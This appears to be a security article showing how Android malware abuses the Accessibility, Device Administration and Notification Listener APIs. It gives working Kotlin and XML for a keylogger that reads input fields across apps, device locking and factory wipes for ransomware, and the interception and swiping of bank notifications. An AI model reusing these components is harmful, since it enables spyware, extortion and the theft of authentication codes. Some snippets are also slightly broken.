The risky APIs
- The Device Administration API is designed for corporate apps. It allows to reset and set screen lock passwords, reset the smartphone settings to factory defaults, and set the minimum password complexity rules. One of the specific features of this API is prohibition to delete apps having the admin rights – and malware creators enthusiastically use it.
- The Accessibility API makes it possible to implement apps for users with disabilities. In other words, this API allows you to create alternative ways to control the device and hence opens enormous possibilities for abuse. For instance, using it, you can get access to the screen of nearly any app, press interface buttons, and press the smartphone buttons at the software level. But there is also a mechanism protecting the device: the app developer can make some elements of the app inaccessible to Accessibility services.
- The Notifications API allows to get access to all notifications displayed on the notification bar. Using this API, an app can read all information about a notification, including its header, text, and content of control buttons; it can click on these buttons and even swipe the notification. The API is extremely popular among developers of banking trojans enabling the malefactors to view confirmation codes and swipe warning messages received from the bank.
After getting access to the above APIs, the malicious app can do whatever it wants with your smartphone. This is why these APIs are protected not by traditional permission requests (that the user may accidentally grant by automatically answering “Yes”), but by an interface hidden deep in the settings. When activated, this interface displays a warning message. Therefore, an app that needs such a permission can only take the user to the Settings window; then the user has to select this app, move the slider, and accept the warning message.
An app can also try to get the permission to use the dangerous APIs by tricking the user. Malicious programs often pretend to be legitimate apps that need such a permission to enable their key functionality. For instance, they can impersonate an app that logs notifications or an app for alternative gesture navigation (it needs an Accessibility service to press navigation buttons). Another way is to use the Cloak & Dagger attack to overlay the settings window with another innocent-looking screen.
Pressing smartphone buttons
Below is an example of a simple Accessibility service (the code is written in Kotlin):
class AccessService: AccessibilityService() { companion object { var service: AccessibilityService? = null // Method that programmatically presses the Home button fun pressHome() { service?.performGlobalAction(GLOBAL_ACTION_HOME) } } override fun onServiceConnected() { service = this super.onServiceConnected() } override fun onUnbind(intent: Intent?): Boolean { service = null return super.onUnbind(intent) } override fun onInterrupt() {} override fun onAccessibilityEvent(event: AccessibilityEvent) {}}
To inform the system of this service, it has to be declared in AndroidManifest.
:
<service android:name=".AccessService" android:label="@string/app_name" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"> <intent-filter> <action android:name="android.accessibilityservice.AccessibilityService" /> </intent-filter> <meta-data android:name="android.accessibilityservice" android:resource="@xml/accessibility_service_config" /></service>
The above description refers to the config file accessibility_service_config.
that must be defined in the xml
directory of the project. In this particular case, the following config will suffice:
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android" android:canRetrieveWindowContent="false" android:description="@string/accessibility_description" />
As soon as the user enables my handmade Accessibility service in the Apps Icon → Settings → Accessibility window, the system will automatically launch it, thus, allowing me to execute the pressHome(
function that presses the Home button:
// If the service is not null, then the system has successfully launched itif (AccessService.service != null) { AccessService.pressHome()}
This functionality alone is sufficient to implement ransomware that calls the pressHome(
function in a loop returning the user to the home screen and making the phone unusable.
Enabling an Accessibility service in Android 11 |
But the true power of the Accessibility API is not in pressing navigation buttons, but in its ability to control other apps.
Stealing contents of input fields
The Accessibility API was developed for users with disabilities. Using it, you can create an app that reads captions on all interface elements and enables you to activate these elements with your voice. This became possible because Accessibility grants you full access to the app interface in the form of a tree of elements: you can navigate through it and perform certain operations with its elements.
To teach my app to navigate through the app interface, I have to change the service description in the settings. The below config grants full access to the interface of any app:
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android" android:accessibilityEventTypes="typeAllMask" android:accessibilityFeedbackType="feedbackAllMask" android:accessibilityFlags="flagDefault" android:canRequestEnhancedWebAccessibility="true" android:notificationTimeout="100" android:packageNames="@null" android:canRetrieveWindowContent="true" android:canRequestTouchExplorationMode="true" />
Then I have to write a simple keylogger. To do so, I add the following function to the service code:
override fun onAccessibilityEvent(event: AccessibilityEvent) { if (event.source?.className == "android.widget.EditText") { Log.d("EditText text: ", event.source?.text.toString()) }}
Now all information entered by the user in any input field of any app will be displayed in the console.
The Accessibility API enables you to navigate through the tree of elements, copy the text of the elements, paste text into them, and perform many other operations. This tool is truly dangerous; so, Android will use every possibility to revoke the Accessibility rights from my app. For instance, this will happen when the service crashes for the first time. In addition, Android enables the developers to protect critical app components with the importantForAccessibility
flag:
<LinearLayout android:importantForAccessibility="noHideDescendants" ... />
This piece of code conceals the layout and all its descendants from the Accessibility services.
In Kotlin, the same functionality looks as follows:
view.setImportantForAccessibility(IMPORTANT_FOR_ACCESSIBILITY_NO_HIDE_DESCENDANTS);
Dumping UI tree
There is a handy way to dump the UI of any app as it’s seen by the Accessibility service:
$ adb shell uiautomator dump
$ adb pull /sdcard/window_dump.xml
Blocking the device and protecting your app against deletion
Time to employ the Device Administration API. As said above, this API remotely controls mechanisms protecting the device; for instance, it can be used to reset passwords, enable a password complexity policy, or reset the smartphone settings. It’s as easy-to-use as the Accessibility API, although its operation principle is different.
First, I have to create a receiver to be called after enabling/disabling the admin rights. There is no need to add meaningful code to this receiver – it just has to exist:
class DeviceAdminPermissionReceiver : DeviceAdminReceiver() { override fun onDisabled(aContext: Context, aIntent: Intent) { }}
Then I add the receiver to the manifest:
<receiver android:name=".DeviceAdminPermissionReceiver" android:label="@string/app_name" android:permission="android.permission.BIND_DEVICE_ADMIN"> <meta-data android:name="android.app.device_admin" android:resource="@xml/admin_policies" /> <intent-filter> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> </intent-filter></receiver>
The above piece of code refers to the config file xml/
; so, I create it and add to it the following strings:
<device-admin> <uses-policies> <reset-password /> <force-lock /> <wipe-data /> </uses-policies></device-admin>
The config states that my app can reset and change the lock screen password, turn off the screen, lock it with the password, and reset the settings to factory defaults.
As soon as the user permits my app to use the admin rights in the Settings → Security → Device admin apps window, I will be able to check whether I have actually gained these rights and then use them:
// Function that verifies my rightsfun checkAdminPermission() { val adminComponent = ComponentName(this, DeviceAdminPermissionReceiver::class.java) val policyManager = getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager return policyManager.isAdminActive(adminComponent))}val policyManager = getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager// Lock the device and forcibly request the passwordpolicyManager.lockNow()// Reset the device to factory defaultspolicyManager.wipeData(0)// Change the lock screen password (doesn't work on Android 7+)policyManager.resetPassword("1234", 0)
Note that you can lock the device and even reset it factory defaults, but starting with Android 7, you cannot change the current lock screen password.
To be able to change the current password on modern devices, the app must possess the device
status. This status can be acquired in two ways:
- install an admin app on a clear device using a QR code. This operation requires a special API whose description is beyond the scope of this article; or
- set an app as the
device
using ABD or root rights. To do so, enter the following command:owner
$ dpm set-device-owner com.example.app/.DeviceAdminPermissionReceiver
But even without the device
status, the ability to reset and lock the phone enables me to write an app that demands a ransom from the user threatening to destroy all data or lock the device in a loop (and the user won’t be able to delete this app without revoking its admin rights first).
Device admin apps screen |
Intercepting and swiping notifications
One might think that the interception of notification is of little use to hackers, but on modern devices, they contain plenty of important information: text messages with one-time authentication codes, communication via messengers, message headers and their content, service messages, etc.
Similar to the Accessibility API, the interception of messages requires a service to be controlled by the system:
class NLService: NotificationListenerService() { private var connected = false override fun onListenerConnected() { connected = true super.onListenerConnected() } override fun onListenerDisconnected() { connected = false super.onListenerDisconnected() } override fun onNotificationPosted(sbn: StatusBarNotification) { cancelNotification(sbn.key) } override fun onNotificationRemoved(sbn: StatusBarNotification?) { }}
The above service has four main callbacks. Two of them are called when the service is enabled/disabled (normally this happens when the app is launched and terminated and when the access to notifications is enabled or disabled). The two other callbacks are required to handle the appearance/disappearance of notifications.
My simple service immediately swipes a popped-up notification and does nothing when it disappears. However, I can, if necessary, remember its header, text, and package the notification belongs to:
val extras = sbn.notification.extrasval title = extras.getCharSequence(Notification.EXTRA_TITLE)val text = extras.getCharSequence(Notification.EXTRA_TEXT)val package = sbn.packageName
Banking trojans normally examine the app package, compare it with the database of bank clients, and parse the notification header and text searching for strings typical for bank’s notifications. Then the notification is programmatically swiped.
To make this service work, I have to declare in the manifest.
<service android:name=".NLService" android:label="@string/app_name" android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"> <intent-filter> <action android:name="android.service.notification.NotificationListenerService" /> </intent-filter></service>
After being enabled in the settings (Apps & Notifications → Advanced → Special App Access → Notification Access), the service will start working.
Notification Access window |
Conclusions
Isn’t this great? After writing just a few dozen strings, you can programmatically press smartphone buttons, intercept notifications, extract text from input fields of other apps, and even reset smartphone settings. Such enormous possibilities are truly scary, especially in contrast with iOS. On the other hand, the situation with Android is much better if compared to Windows, Linux and macOS where all you have to do is force the user to click “Yes” in a single dialog – and ?voila?, you gain complete control over victim’s computer.